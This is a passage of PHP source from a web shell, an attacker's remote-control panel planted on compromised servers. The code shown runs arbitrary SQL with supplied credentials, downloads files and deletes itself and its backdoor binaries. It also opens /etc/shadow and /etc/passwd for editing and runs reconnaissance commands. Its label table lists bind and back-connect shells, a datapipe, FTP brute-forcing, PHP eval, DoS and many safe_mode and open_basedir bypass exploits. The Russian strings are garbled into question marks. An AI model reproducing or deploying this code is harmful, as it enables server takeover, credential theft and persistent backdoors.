1537 break;
1538
1539 case 'Oracle':
1540
1541 return @ocirowcount($this->res);
1542
1543 break;
1544
1545 case 'MySQLi':
1546
1547 return @mysqli_affected_rows($this->res);
1548
1549 break;
1550
1551 case 'mSQL':
1552
1553 return @msql_affected_rows($this->res);
1554
1555 break;
1556
1557 case 'SQLite':
1558
1559 return @sqlite_changes($this->res);
1560
1561 break;
1562
1563 default:
1564
1565 return 0;
1566
1567 break;
1568
1569 }
1570
1571 }
1572
1573 }
1574
1575if(isset($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
1576
1577 {
1578
1579 if($file=moreread($_POST['d_name'])){ $filedump = $file; }
1580
1581 else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; }
1582
1583 if(!empty($_POST['cmd']))
1584
1585 {
1586
1587 @ob_clean();
1588
1589 $filename = @basename($_POST['d_name']);
1590
1591 $content_encoding=$mime_type='';
1592
1593 compress($filename,$filedump,$_POST['compress']);
1594
1595 if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
1596
1597 header("Content-type: ".$mime_type);
1598
1599 header("Content-disposition: attachment; filename=\"".$filename."\";");
1600
1601 echo $filedump;
1602
1603 exit();
1604
1605 }
1606
1607 }
1608
1609if(isset($_GET['1'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); }
1610
1611if (isset($_POST['cmd']) && $_POST['cmd']=="db_query")
1612
1613 {
1614
1615 echo $head;
1616
1617 $sql = new my_sql();
1618
1619 $sql->db = $_POST['db'];
1620
1621 $sql->host = $_POST['db_server'];
1622
1623 $sql->port = $_POST['db_port'];
1624
1625 $sql->user = $_POST['mysql_l'];
1626
1627 $sql->pass = $_POST['mysql_p'];
1628
1629 $sql->base = $_POST['mysql_db'];
1630
1631 $querys = @explode(';',$_POST['db_query']);
1632
1633 echo '<body bgcolor=#e4e0d8>';
1634
1635 if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
1636
1637 else
1638
1639 {
1640
1641 if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
1642
1643 else
1644
1645 {
1646
1647 foreach($querys as $num=>$query)
1648
1649 {
1650
1651 if(strlen($query)>5)
1652
1653 {
1654
1655 echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
1656
1657 switch($sql->query($query))
1658
1659 {
1660
1661 case '0':
1662
1663 echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
1664
1665 break;
1666
1667 case '1':
1668
1669 if($sql->get_result())
1670
1671 {
1672
1673 echo "<table width=100%>";
1674
1675 foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
1676
1677 $keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", $sql->columns);
1678
1679 echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
1680
1681 for($i=0;$i<$sql->num_rows;$i++)
1682
1683 {
1684
1685 foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
1686
1687 $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]);
1688
1689 echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>';
1690
1691 }
1692
1693 echo "</table>";
1694
1695 }
1696
1697 break;
1698
1699 case '2':
1700
1701 $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
1702
1703 echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
1704
1705 break;
1706
1707 }
1708
1709 }
1710
1711 }
1712
1713 }
1714
1715 }
1716
1717 echo "<br><form name=form method=POST>";
1718
1719 echo in('hidden','db',0,$_POST['db']);
1720
1721 echo in('hidden','db_server',0,$_POST['db_server']);
1722
1723 echo in('hidden','db_port',0,$_POST['db_port']);
1724
1725 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
1726
1727 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
1728
1729 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
1730
1731 echo in('hidden','cmd',0,'db_query');
1732
1733 echo "<div align=center>";
1734
1735 echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
1736
1737 echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
1738
1739 echo "</form>";
1740
1741 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
1742
1743 }
1744
1745if(isset($_GET['12']))
1746
1747 {
1748
1749 @unlink(__FILE__);
1750
1751 }
1752
1753if(isset($_GET['11']))
1754
1755 {
1756
1757 @unlink($tempdir.'bdpl');
1758
1759 @unlink($tempdir.'back');
1760
1761 @unlink($tempdir.'bd');
1762
1763 @unlink($tempdir.'bd.c');
1764
1765 @unlink($tempdir.'dp');
1766
1767 @unlink($tempdir.'dpc');
1768
1769 @unlink($tempdir.'dpc.c');
1770
1771 @unlink($tempdir.'prxpl');
1772
1773 @unlink($tempdir.'grep.txt');
1774
1775 }
1776
1777if(isset($_GET['2']))
1778
1779{
1780
1781echo $head;
1782
1783function U_value($value)
1784
1785 {
1786
1787 if ($value == '') return '<i>no value</i>';
1788
1789 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
1790
1791 if ($value === null) return 'NULL';
1792
1793 if (@is_object($value)) $value = (array) $value;
1794
1795 if (@is_array($value))
1796
1797 {
1798
1799 @ob_start();
1800
1801 print_r($value);
1802
1803 $value = @ob_get_contents();
1804
1805 @ob_end_clean();
1806
1807 }
1808
1809 return U_wordwrap((string) $value);
1810
1811 }
1812
1813function U_wordwrap($str)
1814
1815 {
1816
1817 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
1818
1819 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
1820
1821 }
1822
1823if (@function_exists('ini_get_all'))
1824
1825 {
1826
1827 $r = '';
1828
1829 echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
1830
1831 foreach (@ini_get_all() as $key=>$value)
1832
1833 {
1834
1835 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
1836
1837 }
1838
1839 echo $r;
1840
1841 echo '</table>';
1842
1843 }
1844
1845echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
1846
1847die();
1848
1849}
1850
1851if(isset($_GET['3']))
1852
1853 {
1854
1855 echo $head;
1856
1857 echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
1858
1859 $cpuf = @file("cpuinfo");
1860
1861 if($cpuf)
1862
1863 {
1864
1865 $c = @sizeof($cpuf);
1866
1867 for($i=0;$i<$c;$i++)
1868
1869 {
1870
1871 $info = @explode(":",$cpuf[$i]);
1872
1873 if($info[1]==""){ $info[1]="---"; }
1874
1875 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1876
1877 }
1878
1879 echo $r;
1880
1881 }
1882
1883 else
1884
1885 {
1886
1887 echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
1888
1889 }
1890
1891 echo '</table>';
1892
1893 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
1894
1895 die();
1896
1897 }
1898
1899if(isset($_GET['4']))
1900
1901 {
1902
1903 echo $head;
1904
1905 echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
1906
1907 $memf = @file("meminfo");
1908
1909 if($memf)
1910
1911 {
1912
1913 $c = sizeof($memf);
1914
1915 for($i=0;$i<$c;$i++)
1916
1917 {
1918
1919 $info = explode(":",$memf[$i]);
1920
1921 if($info[1]==""){ $info[1]="---"; }
1922
1923 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1924
1925 }
1926
1927 echo $r;
1928
1929 }
1930
1931 else
1932
1933 {
1934
1935 echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
1936
1937 }
1938
1939 echo '</table>';
1940
1941 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
1942
1943 die();
1944
1945 }
1946
1947
1948
1949if(isset($_GET['5']))
1950
1951 {$_POST['cmd'] = 'systeminfo';}
1952
1953if(isset($_GET['6']))
1954
1955 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
1956
1957if(isset($_GET['7']))
1958
1959 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
1960
1961if(isset($_GET['8']))
1962
1963 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
1964
1965if(isset($_GET['9']))
1966
1967 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
1968
1969if(isset($_GET['10']))
1970
1971 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
1972
1973if(isset($_GET['13']))
1974
1975 {$_POST['cmd']='cat /proc/cpuinfo';}
1976
1977if(isset($_GET['14']))
1978
1979 {$_POST['cmd']='cat /proc/version';}
1980
1981if(isset($_GET['15']))
1982
1983 {$_POST['cmd'] = 'free';}
1984
1985if(isset($_GET['16']))
1986
1987 {$_POST['cmd'] = 'dmesg(8)';}
1988
1989if(isset($_GET['17']))
1990
1991 {$_POST['cmd'] = 'vmstat';}
1992
1993if(isset($_GET['18']))
1994
1995 {$_POST['cmd'] = 'lspci';}
1996
1997if(isset($_GET['19']))
1998
1999 {$_POST['cmd'] = 'lsdev';}
2000
2001if(isset($_GET['20']))
2002
2003 {$_POST['cmd']='cat /proc/interrupts';}
2004
2005if(isset($_GET['21']))
2006
2007 {$_POST['cmd'] = 'cat /etc/*realise';}
2008
2009if(isset($_GET['22']))
2010
2011 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
2012
2013if(isset($_GET['23']))
2014
2015 {$_POST['cmd'] = 'lsattr -va';}
2016
2017if(isset($_GET['24']))
2018
2019 {$_POST['cmd'] = 'w';}
2020
2021if(isset($_GET['25']))
2022
2023 {$_POST['cmd'] = 'who';}
2024
2025if(isset($_GET['26']))
2026
2027 {$_POST['cmd'] = 'uptime';}
2028
2029if(isset($_GET['27']))
2030
2031 {$_POST['cmd'] = 'last -n 10';}
2032
2033if(isset($_GET['28']))
2034
2035 {$_POST['cmd'] = 'ps -aux';}
2036
2037if(isset($_GET['29']))
2038
2039 {$_POST['cmd'] = 'service --status-all';}
2040
2041if(isset($_GET['30']))
2042
2043 {$_POST['cmd'] = 'ifconfig';}
2044
2045if(isset($_GET['31']))
2046
2047 {$_POST['cmd'] = 'netstat -a';}
2048
2049if(isset($_GET['32']))
2050
2051 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
2052
2053if(isset($_GET['33']))
2054
2055 {$_POST['cmd'] = 'fdisk -l';}
2056
2057if(isset($_GET['34']))
2058
2059 {$_POST['cmd'] = 'df -h';}
2060
2061
2062
2063#if(isset($_GET['']))
2064
2065# {$_POST['cmd'] = '';}
2066
2067
2068
2069$lang=array(
2070
2071'ru_butt1' =>'?????????',
2072
2073'ru_butt2' =>'?????????',
2074
2075'ru_butt3' =>'???????',
2076
2077'ru_butt4' =>'?????????',
2078
2079'ru_butt5' =>'?????????',
2080
2081'ru_butt6' =>'???????',
2082
2083'ru_butt7' =>'???????',
2084
2085'ru_butt8' =>'?????????',
2086
2087'ru_butt9' =>'????',
2088
2089'ru_butt10'=>'?????????',
2090
2091'ru_butt11'=>'?????????????',
2092
2093'ru_butt12'=>'?????',
2094
2095'ru_butt13'=>'???????/???????',
2096
2097'ru_butt14'=>'???????',
2098
2099'ru_butt15'=>'?????????',
2100
2101'ru_text1' =>'??????????? ???????',
2102
2103'ru_text2' =>'?????????? ?????? ?? ???????',
2104
2105'ru_text3' =>'????????? ???????',
2106
2107'ru_text4' =>'??????? ??????????',
2108
2109'ru_text5' =>'???????? ?????? ?? ??????',
2110
2111'ru_text6' =>'????????? ????',
2112
2113'ru_text7' =>'??????',
2114
2115'ru_text8' =>'???????? ?????',
2116
2117'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
2118
2119'ru_text10'=>'??????? ????',
2120
2121'ru_text11'=>'?????? ??? ???????',
2122
2123'ru_text12'=>'back-connect',
2124
2125'ru_text13'=>'IP-?????',
2126
2127'ru_text14'=>'????',
2128
2129'ru_text15'=>'???????? ?????? ? ?????????? ???????',
2130
2131'ru_text16'=>'????????????',
2132
2133'ru_text17'=>'????????? ????',
2134
2135'ru_text18'=>'????????? ????',
2136
2137'ru_text19'=>'Exploits',
2138
2139'ru_text20'=>'????????????',
2140
2141'ru_text21'=>'????? ???',
2142
2143'ru_text22'=>'datapipe',
2144
2145'ru_text23'=>'????????? ????',
2146
2147'ru_text24'=>'????????? ????',
2148
2149'ru_text25'=>'????????? ????',
2150
2151'ru_text26'=>'????????????',
2152
2153'ru_text28'=>'?????? ? safe_mode',
2154
2155'ru_text29'=>'?????? ????????',
2156
2157'ru_text30'=>'???????? ?????',
2158
2159'ru_text31'=>'???? ?? ??????',
2160
2161'ru_text32'=>'?????????? PHP ????',
2162
2163'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL (PHP <= 4.4.2, 5.1.4)',
2164
2165'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
2166
2167'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
2168
2169'ru_text36'=>'???? . ???????',
2170
2171'ru_text37'=>'?????',
2172
2173'ru_text38'=>'??????',
2174
2175'ru_text39'=>'????',
2176
2177'ru_text40'=>'???? ??????? ???? ??????',
2178
2179'ru_text41'=>'????????? ? ?????',
2180
2181'ru_text42'=>'?????????????? ?????',
2182
2183'ru_text43'=>'????????????? ????',
2184
2185'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
2186
2187'ru_text45'=>'???? ????????',
2188
2189'ru_text46'=>'???????? phpinfo()',
2190
2191'ru_text47'=>'???????? ???????? php.ini',
2192
2193'ru_text48'=>'???????? ????????? ??????',
2194
2195'ru_text49'=>'???????? ??????? ? ???????',
2196
2197'ru_text50'=>'?????????? ? ??????????',
2198
2199'ru_text51'=>'?????????? ? ??????',
2200
2201'ru_text52'=>'????? ??? ??????',
2202
2203'ru_text53'=>'?????? ? ?????',
2204
2205'ru_text54'=>'????? ?????? ? ??????',
2206
2207'ru_text55'=>'?????? ? ??????',
2208
2209'ru_text56'=>'?????? ?? ???????',
2210
2211'ru_text57'=>'???????/??????? ????/??????????',
2212
2213'ru_text58'=>'???',
2214
2215'ru_text59'=>'????',
2216
2217'ru_text60'=>'??????????',
2218
2219'ru_text61'=>'???? ??????',
2220
2221'ru_text62'=>'?????????? ???????',
2222
2223'ru_text63'=>'???? ??????',
2224
2225'ru_text64'=>'?????????? ???????',
2226
2227'ru_text65'=>'???????',
2228
2229'ru_text66'=>'???????',
2230
2231'ru_text67'=>'Chown/Chgrp/Chmod',
2232
2233'ru_text68'=>'???????',
2234
2235'ru_text69'=>'????????1',
2236
2237'ru_text70'=>'????????2',
2238
2239'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
2240
2241'ru_text72'=>'????? ??? ??????',
2242
2243'ru_text73'=>'?????? ? ?????',
2244
2245'ru_text74'=>'?????? ? ??????',
2246
2247'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
2248
2249'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
2250
2251'ru_text80'=>'???',
2252
2253'ru_text81'=>'????',
2254
2255'ru_text82'=>'???? ??????',
2256
2257'ru_text83'=>'?????????? SQL ???????',
2258
2259'ru_text84'=>'SQL ??????',
2260
2261'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
2262
2263'ru_text86'=>'?????????? ????? ? ???????',
2264
2265'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????',
2266
2267'ru_text88'=>'??????:????',
2268
2269'ru_text89'=>'???? ?? ftp ???????',
2270
2271'ru_text90'=>'????? ????????',
2272
2273'ru_text91'=>'???????????? ?',
2274
2275'ru_text92'=>'??? ?????.',
2276
2277'ru_text93'=>'FTP',
2278
2279'ru_text94'=>'FTP-????????',
2280
2281'ru_text95'=>'?????? ?????????????',
2282
2283'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
2284
2285'ru_text97'=>'????????? ??????????: ',
2286
2287'ru_text98'=>'??????? ???????????: ',
2288
2289'ru_text99'=>'/etc/passwd',
2290
2291'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
2292
2293'ru_text101'=>'???????????? (user -> resu)',
2294
2295'ru_text102'=>'?????',
2296
2297'ru_text103'=>'???????? ??????',
2298
2299'ru_text104'=>'???????? ????? ?? ???????? ????',
2300
2301'ru_text105'=>'????',
2302
2303'ru_text106'=>'??',
2304
2305'ru_text107'=>'????',
2306
2307'ru_text108'=>'????? ??????',
2308
2309'ru_text109'=>'????????',
2310
2311'ru_text110'=>'??????????',
2312
2313'ru_text111'=>'SQL-?????? : ????',
2314
2315'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
2316
2317'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list() (PHP <= 5.1.2)',
2318
2319'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body() (PHP <= 5.1.2)',
2320
2321'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? [compress.zlib://] (PHP <= 4.4.2, 5.1.2)',
2322
2323'ru_text116'=>'?????????? ????',
2324
2325'ru_text117'=>'?',
2326
2327'ru_text118'=>'???? ??????????',
2328
2329'ru_text119'=>'?? ??????? ??????????? ????',
2330
2331'ru_text120'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? ini_restore() (PHP <= 4.4.4, 5.1.6) by NST',
2332
2333'ru_text121'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? fopen() (PHP v4.4.0 memory leak) by NST',
2334
2335'ru_text122'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? glob() (PHP <= 5.2.x)',
2336
2337'ru_text123'=>'???????? ??????????? ?????? ??????????? open_basedir, ?????? *.bzip ?????? [compress.bzip2://] (PHP <= 5.2.1)',
2338
2339'ru_text124'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ?????? ? error_log(php://) (PHP <= 5.1.4, 4.4.2)',
2340
2341'ru_text125'=>'??????',
2342
2343'ru_text126'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ?????? ? ???????[NULL-byte] (PHP <= 5.2.0)',
2344
2345'ru_text127'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ?????? ? readfile(php://) (PHP <= 5.2.1, 4.4.4)',
2346
2347'ru_text128'=>'???? ?????????/??????? ????? (touch)',
2348
2349'ru_text129'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ? fopen(srpath://) (PHP v5.2.0)',
2350
2351'ru_text130'=>'???????? ??????????? ?????? ??????????? open_basedir, ?????? *.zip ?????? [zip://] (PHP <= 5.2.1)',
2352
2353'ru_text131'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ??????????? ????? ? ?????????????? symlink() (PHP <= 5.2.1)',
2354
2355'ru_text132'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? symlink() (PHP <= 5.2.1)',
2356
2357'ru_text133'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ?????? ? ???????(TMPDIR) (PHP <= 5.2.4)',
2358
2359'ru_text134'=>'???????? ??? ??????',
2360
2361'ru_text135'=>'???????',
2362
2363'ru_text136'=>'???????? ?????????? ??????',
2364
2365'ru_text137'=>'????????',
2366
2367'ru_text138'=>'???????',
2368
2369'ru_text139'=>'????-??????',
2370
2371'ru_text140'=>'DoS',
2372
2373'ru_text141'=>'?????????! ???????? ???? ???-???????.',
2374
2375'ru_text142'=>'????????? ???????',
2376
2377'ru_text143'=>'Temp: ',
2378
2379'ru_text144'=>'Test bypass safe_mode with load file in mysqli',
2380
2381'ru_text145'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? realpath() (PHP <= 5.2.4)',
2382
2383'ru_text146'=>'MAX ???-?? ????????',
2384
2385'ru_text147'=>'',
2386
2387'ru_text148'=>'',
2388
2389'ru_text149'=>'',
2390
2391'ru_text150'=>'',
2392
2393'ru_err0'=>'??????! ?? ???? ???????? ? ???? ',
2394
2395'ru_err1'=>'??????! ?? ???? ????????? ???? ',
2396
2397'ru_err2'=>'??????! ?? ??????? ??????? ',
2398
2399'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????',
2400
2401'ru_err4'=>'?????? ??????????? ?? ftp ???????',
2402
2403'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????',
2404
2405'ru_err6'=>'??????! ?? ??????? ????????? ??????',
2406
2407'ru_err7'=>'?????? ??????????',
2408
2409/* --------------------------------------------------------------- */
2410
2411'eng_butt1' =>'Execute',
2412
2413'eng_butt2' =>'Upload',
2414
2415'eng_butt3' =>'Bind',
2416
2417'eng_butt4' =>'Connect',
2418
2419'eng_butt5' =>'Run',
2420
2421'eng_butt6' =>'Change',
2422
2423'eng_butt7' =>'Show',
2424
2425'eng_butt8' =>'Test',
2426
2427'eng_butt9' =>'Dump',
2428
2429'eng_butt10'=>'Save',
2430
2431'eng_butt11'=>'Edit file',
2432
2433'eng_butt12'=>'Find',
2434
2435'eng_butt13'=>'Create/Delete',
2436
2437'eng_butt14'=>'Download',
2438
2439'eng_butt15'=>'Send',
2440
2441'eng_text1' =>'Executed command',
2442
2443'eng_text2' =>'Execute command on server',
2444
2445'eng_text3' =>'Run command',
2446
2447'eng_text4' =>'Work directory',
2448
2449'eng_text5' =>'Upload files on server',
2450
2451'eng_text6' =>'Local file',
2452
2453'eng_text7' =>'Aliases',
2454
2455'eng_text8' =>'Select alias',
2456
2457'eng_text9' =>'Bind port to /bin/bash',
2458
2459'eng_text10'=>'Port',
2460
2461'eng_text11'=>'Password for access',
2462
2463'eng_text12'=>'back-connect',
2464
2465'eng_text13'=>'IP',
2466
2467'eng_text14'=>'Port',
2468
2469'eng_text15'=>'Upload files from remote server',
2470
2471'eng_text16'=>'With',
2472
2473'eng_text17'=>'Remote file',
2474
2475'eng_text18'=>'Local file',
2476
2477'eng_text19'=>'Exploits',
2478
2479'eng_text20'=>'Use',
2480
2481'eng_text21'=>' New name',
2482
2483'eng_text22'=>'datapipe',
2484
2485'eng_text23'=>'Local port',
2486
2487'eng_text24'=>'Remote host',
2488
2489'eng_text25'=>'Remote port',
2490
2491'eng_text26'=>'Use',
2492
2493'eng_text28'=>'Work in safe_mode',
2494
2495'eng_text29'=>'ACCESS DENIED',
2496
2497'eng_text30'=>'Cat file',
2498
2499'eng_text31'=>'File not found',
2500
2501'eng_text32'=>'Eval PHP code',
2502
2503'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
2504
2505'eng_text34'=>'Test bypass safe_mode with include function',
2506
2507'eng_text35'=>'Test bypass safe_mode with load file in mysql',
2508
2509'eng_text36'=>'Database . Table',
2510
2511'eng_text37'=>'Login',
2512
2513'eng_text38'=>'Password',
2514
2515'eng_text39'=>'Database',
2516
2517'eng_text40'=>'Dump database table',
2518
2519'eng_text41'=>'Save dump in file',
2520
2521'eng_text42'=>'Edit files',
2522
2523'eng_text43'=>'File for edit',
2524
2525'eng_text44'=>'Can\'t edit file! Only read access!',
2526
2527'eng_text45'=>'File saved',
2528
2529'eng_text46'=>'Show phpinfo()',
2530
2531'eng_text47'=>'Show variables from php.ini',
2532
2533'eng_text48'=>'Delete temp files',
2534
2535'eng_text49'=>'Delete script from server',
2536
2537'eng_text50'=>'View cpu info',
2538
2539'eng_text51'=>'View memory info',
2540
2541'eng_text52'=>'Find text',
2542
2543'eng_text53'=>'In dirs',
2544
2545'eng_text54'=>'Find text in files',
2546
2547'eng_text55'=>'Only in files',
2548
2549'eng_text56'=>'Nothing :(',
2550
2551'eng_text57'=>'Create/Delete File/Dir',
2552
2553'eng_text58'=>'name',
2554
2555'eng_text59'=>'file',
2556
2557'eng_text60'=>'dir',
2558
2559'eng_text61'=>'File created',
2560
2561'eng_text62'=>'Dir created',
2562
2563'eng_text63'=>'File deleted',
2564
2565'eng_text64'=>'Dir deleted',
2566
2567'eng_text65'=>'Create',
2568
2569'eng_text66'=>'Delete',
2570
2571'eng_text67'=>'Chown/Chgrp/Chmod',
2572
2573'eng_text68'=>'Command',
2574
2575'eng_text69'=>'param1',
2576
2577'eng_text70'=>'param2',
2578
2579'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
2580
2581'eng_text72'=>'Text for find',
2582
2583'eng_text73'=>'Find in folder',
2584
2585'eng_text74'=>'Find in files',
2586
2587'eng_text75'=>'* you can use regexp',
2588
2589'eng_text76'=>'Search text in files via find',
2590
2591'eng_text80'=>'Type',
2592
2593'eng_text81'=>'Net',
2594
2595'eng_text82'=>'Databases',
2596
2597'eng_text83'=>'Run SQL query',
2598
2599'eng_text84'=>'SQL query',
2600
2601'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
2602
2603'eng_text86'=>'Download files from server',
2604
2605'eng_text87'=>'Download files from remote ftp-server',
2606
2607'eng_text88'=>'server:port',
2608
2609'eng_text89'=>'File on ftp',
2610
2611'eng_text90'=>'Transfer mode',
2612
2613'eng_text91'=>'Archivation',
2614
2615'eng_text92'=>'without arch.',
2616
2617'eng_text93'=>'FTP',
2618
2619'eng_text94'=>'FTP-bruteforce',
2620
2621'eng_text95'=>'Users list',
2622
2623'eng_text96'=>'Can\'t get users list',
2624
2625'eng_text97'=>'checked: ',
2626
2627'eng_text98'=>'success: ',
2628
2629'eng_text99'=>'/etc/passwd',
2630
2631'eng_text100'=>'Send file to remote ftp server',
2632
2633'eng_text101'=>'Use reverse (user -> resu)',
2634
2635'eng_text102'=>'Mail',
2636
2637'eng_text103'=>'Send email',
2638
2639'eng_text104'=>'Send file to email',
2640
2641'eng_text105'=>'To',
2642
2643'eng_text106'=>'From',
2644
2645'eng_text107'=>'Subj',
2646
2647'eng_text108'=>'Mail',
2648
2649'eng_text109'=>'Hide',
2650
2651'eng_text110'=>'Show',
2652
2653'eng_text111'=>'SQL-Server : Port',
2654
2655'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
2656
2657'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)',
2658
2659'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)',
2660
2661'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)',
2662
2663'eng_text116'=>'Copy from',
2664
2665'eng_text117'=>'to',
2666
2667'eng_text118'=>'File copied',
2668
2669'eng_text119'=>'Cant copy file',
2670
2671'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
2672
2673'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
2674
2675'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)',
2676
